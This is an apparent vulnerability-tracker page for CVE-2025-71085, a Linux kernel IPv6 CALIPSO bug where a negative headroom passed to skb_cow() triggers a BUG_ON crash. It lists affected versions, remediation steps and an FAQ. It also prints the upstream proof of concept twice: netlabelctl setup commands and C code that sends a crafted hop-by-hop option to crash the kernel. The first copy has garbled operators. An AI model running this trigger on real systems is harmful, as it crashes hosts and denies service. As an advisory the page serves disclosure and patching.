CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

Published Jan 13, 2026
·
Updated

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskbexpandhead() as part of calipsoskbuffsetattr()

There exists a kernel oops caused by a BUGON(nhead 0) at net/core/skbuff.c:2232 in pskbexpandhead(). This bug is triggered as part of the calipsoskbuffsetattr() routine when skbcow() is passed headroom INTMAX (i.e. (int)(skbheadroom(skb) + lendelta) 0).

The root cause of the bug is due to an implicit integer cast in skbcow(). The check (headroom skbheadroom(skb)) is meant to ensure that delta = headroom - skbheadroom(skb) is never negative, otherwise we will trigger a BUGON in pskbexpandhead(). However, if headroom INTMAX and delta = -NETSKBPAD, the check passes, delta becomes negative, and pskbexpandhead() is passed a negative value for nhead.

Fix the trigger condition in calipsoskbuffsetattr(). Avoid passing "negative" headroom sizes to skbcow() within calipsoskbuffsetattr() by only using skbcow() to grow headroom.

PoC: Using netlabelctl tool:

netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AFINET6, SOCKDGRAM, IPPROTOUDP);

// setup msghdr int cmsgsize = 2; int cmsglen = 0x60; struct msghdr msg; struct sockaddrin6 destaddr; struct cmsghdr cmsg = (struct cmsghdr ) calloc(1, sizeof(struct cmsghdr) + cmsglen); msg.msgname = &destaddr; msg.msgnamelen = sizeof(destaddr); msg.msgiov = NULL; msg.msgiovlen = 0; msg.msgcontrol = cmsg; msg.msgcontrollen = cmsglen; msg.msgflags = 0;

// setup sockaddr destaddr.sin6family = AFINET6; destaddr.sin6port = htons(31337); destaddr.sin6flowinfo = htonl(31337); destaddr.sin6addr = in6addrloopback; destaddr.sin6scopeid = 31337;

// setup cmsghdr cmsg-cmsglen = cmsglen; cmsg-cmsglevel = IPPROTOIPV6; cmsg-cmsgtype = IPV6HOPOPTS; char hophdr = (char )cmsg + sizeof(struct cmsghdr); hophdr[1] = 0x9; //set hop size - (0x9 + 1) 8 = 80

sendmsg(fd, &msg, 0);

Other sources

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskbexpandhead() as part of calipsoskbuffsetattr()

There exists a kernel oops caused by a BUGON(nhead < 0) at net/core/skbuff.c:2232 in pskbexpandhead(). This bug is triggered as part of the calipsoskbuffsetattr() routine when skbcow() is passed headroom > INTMAX (i.e. (int)(skbheadroom(skb) + lendelta) < 0).

The root cause of the bug is due to an implicit integer cast in skbcow(). The check (headroom > skbheadroom(skb)) is meant to ensure that delta = headroom - skbheadroom(skb) is never negative, otherwise we will trigger a BUGON in pskbexpandhead(). However, if headroom > INTMAX and delta <= -NETSKBPAD, the check passes, delta becomes negative, and pskbexpandhead() is passed a negative value for nhead.

Fix the trigger condition in calipsoskbuffsetattr(). Avoid passing "negative" headroom sizes to skbcow() within calipsoskbuffsetattr() by only using skbcow() to grow headroom.

PoC: Using netlabelctl tool:

netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7

Then run the following PoC:

int fd = socket(AFINET6, SOCKDGRAM, IPPROTOUDP);

// setup msghdr int cmsgsize = 2; int cmsglen = 0x60; struct msghdr msg; struct sockaddrin6 destaddr; struct cmsghdr cmsg = (struct cmsghdr ) calloc(1, sizeof(struct cmsghdr) + cmsglen); msg.msgname = &destaddr; msg.msgnamelen = sizeof(destaddr); msg.msgiov = NULL; msg.msgiovlen = 0; msg.msgcontrol = cmsg; msg.msgcontrollen = cmsglen; msg.msgflags = 0;

// setup sockaddr destaddr.sin6family = AFINET6; destaddr.sin6port = htons(31337); destaddr.sin6flowinfo = htonl(31337); destaddr.sin6addr = in6addrloopback; destaddr.sin6scopeid = 31337;

// setup cmsghdr cmsg->cmsglen = cmsglen; cmsg->cmsglevel = IPPROTOIPV6; cmsg->cmsgtype = IPV6HOPOPTS; char hophdr = (char )cmsg + sizeof(struct cmsghdr); hophdr[1] = 0x9; //set hop size - (0x9 + 1) 8 = 80

sendmsg(fd, &msg, 0);

Red Hat

Affected Software

18 affected components
Linux Linux kernel
Linux Linux kernel>=4.8.1<5.10.248
Linux Linux kernel>=5.11<5.15.198
Linux Linux kernel>=5.16<6.1.160
Linux Linux kernel>=6.2<6.6.120
Linux Linux kernel>=6.7<6.12.64
Linux Linux kernel>=6.13<6.18.4
Linux Linux kernel=4.8
Linux Linux kernel=6.19-rc1
Linux Linux kernel=6.19-rc2
Linux Linux kernel=6.19-rc3
Linux Linux kernel=6.19-rc4
Linux Linux kernel=6.19-rc5
Linux Linux kernel=6.19-rc6
Linux Linux kernel=6.19-rc7
Linux Linux kernel=6.19-rc8
IBM DS8A00( R10.0 - R10.1 )<=10.1.3.0 - 10.11.35.0
IBM DS8900F ( R9.4)<=89.40.83.0-89.44.25.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Configuration

    Fix the trigger condition in calipso_skbuff_setattr() so the logic around headroom and the delta passed to skb_cow()/pskb_expand_head() cannot result in pskb_expand_head() being called with a negative value (nhead < 0), which otherwise triggers the BUG_ON in pskb_expand_head().

    Linux kernel calipso_skbuff_setattr() headroom trigger condition for skb_cow()/pskb_expand_head() = Fix trigger condition to avoid negative nhead
  2. Compensating control

    If the vulnerable calipso path cannot be immediately fixed, avoid exercising calipso_skbuff_setattr() via netlabelctl-driven calipso netlabel rules for affected setups (e.g., do not add the calipso pass/doI mapping that leads to the described BUG-on trigger); remove any recently added netlabelctl mappings used for calipso (e.g., the 'netlabelctl map add default address:0::1/128 protocol:calipso,7' mapping) until the kernel fix is applied.

  3. Operational

    After applying the kernel fix, remove any test/exploit-oriented netlabel entries created during validation (e.g., run the equivalent of 'netlabelctl map del default' if that was used) to restore the environment to its intended state.

Event History

Jan 13, 2026
CVE Published
via MITRE·03:34 PM
Data Sourced
via MITRE·03:34 PM
DescriptionSeverity
Data Sourced
via Red Hat·04:01 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·04:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Aug 19, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2025-71085?

CVE-2025-71085 has been rated as high severity due to its potential to cause kernel crashes.

2

How do I fix CVE-2025-71085?

To fix CVE-2025-71085, upgrade to the latest stable version of the Linux kernel that patches this vulnerability.

3

What are the potential impacts of CVE-2025-71085?

The potential impacts of CVE-2025-71085 include system instability and unexpected kernel panics.

4

Which versions of the Linux kernel are affected by CVE-2025-71085?

CVE-2025-71085 affects various versions of the Linux kernel prior to the patches released for this CVE.

5

Is there any workaround for CVE-2025-71085?

Currently, the recommended approach for CVE-2025-71085 is to apply the security updates rather than using workarounds.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203